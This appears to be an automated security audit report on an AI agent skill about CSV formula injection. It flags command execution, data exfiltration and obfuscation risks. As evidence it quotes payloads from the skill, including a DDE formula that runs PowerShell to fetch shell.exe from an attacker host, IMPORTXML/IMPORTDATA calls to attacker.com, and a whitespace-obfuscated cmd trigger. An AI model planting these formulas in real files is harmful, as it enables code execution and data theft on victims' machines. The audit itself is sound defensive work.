csv-formula-injection

Warn

Audited by Gen Agent Trust Hub on Nov 9, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONDATA_EXFILTRATIONOBFUSCATIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill provides numerous examples of payloads designed to execute arbitrary shell commands via the Dynamic Data Exchange (DDE) protocol in spreadsheet software.
  • Evidence: =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 in SKILL.md.
  • Evidence: DDE("cmd";"/C calc";"!A0")A0 in SKILL.md.
  • [DATA_EXFILTRATION]: The skill documents techniques for exfiltrating data or probing internal networks using Google Sheets built-in functions that make outbound HTTP requests.
  • Evidence: =IMPORTXML("http://attacker.com/", "//a/@href") in SKILL.md.
  • Evidence: =IMPORTDATA("http://attacker.com/data.csv") in SKILL.md.
  • [OBFUSCATION]: The skill includes methods to bypass defensive parsers by using whitespace and character dispersion within formula triggers to hide intent.
  • Evidence: = C m D |'/c calc.exe'!A in SKILL.md.
  • [INDIRECT_PROMPT_INJECTION]: The skill describes a vulnerability surface where untrusted user input is exported into CSV files that are subsequently opened in spreadsheet software.
  • Ingestion points: Section 4 of SKILL.md identifies sinks such as admin exports, audit logs, user rosters, and billing reports.
  • Boundary markers: Section 5 of SKILL.md recommends prefixing with a single quote or tab to reduce execution risk.
  • Capability inventory: The skill catalogs capabilities including arbitrary command execution via DDE and network operations via spreadsheet import functions.
  • Sanitization: Section 5 of SKILL.md suggests neutralizing or escaping leading trigger characters like "=", "+", "-", and "@".
Audit Metadata
Risk Level
MEDIUM
Analyzed
Nov 9, 2026, 11:59 AM